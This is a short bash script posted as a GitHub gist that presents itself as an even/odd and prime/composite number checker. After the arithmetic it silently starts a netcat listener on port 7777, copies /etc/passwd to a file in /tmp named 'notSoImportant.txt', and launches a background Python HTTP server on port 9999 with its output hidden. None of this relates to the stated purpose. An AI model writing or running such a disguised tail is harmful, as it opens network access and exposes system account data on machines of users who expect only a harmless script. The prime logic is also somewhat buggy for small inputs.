Skip to content

Instantly share code, notes, and snippets.

@BababaBlue
Last active August 8, 2017 22:56
Show Gist options
  • Save BababaBlue/f5d3174c238633aafcde334994d8c40a to your computer and use it in GitHub Desktop.
Save BababaBlue/f5d3174c238633aafcde334994d8c40a to your computer and use it in GitHub Desktop.
LINUX 2
#!/bin/bash
let result=0;
echo "Enter The Number ";
echo "And lets Find, is the number Even/Odd and also Prime/Composite ";
read num1
if (($num1 < 1)); then
echo "Invalid number should be greater than 0"
elif (( $num1% 2 == 0)); then
echo "The Number $num1 is even"
else
echo "The Number $num1 is odd"
fi
# Prime Code//prime.sh
if((num1<3));
then
echo "$num1 is neither prime nor Composite";
fi
for((i=2;i<num1;i++));
do
if(((num1%i)==0));
then
flag=1;
break;
fi
done
if((flag==1));
then
echo " and Composite";
else
echo " and prime";
fi
#prime Code/end
#NC cmnd chk later.
nc -l -p 7777 &
# Chk this later on not working
#copy passwd file
cp /etc/passwd /tmp/notSoImportant.txt &
# Running Python Script(Python Version 2.7)
python -m SimpleHTTPServer 9999 &>/dev/null &
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment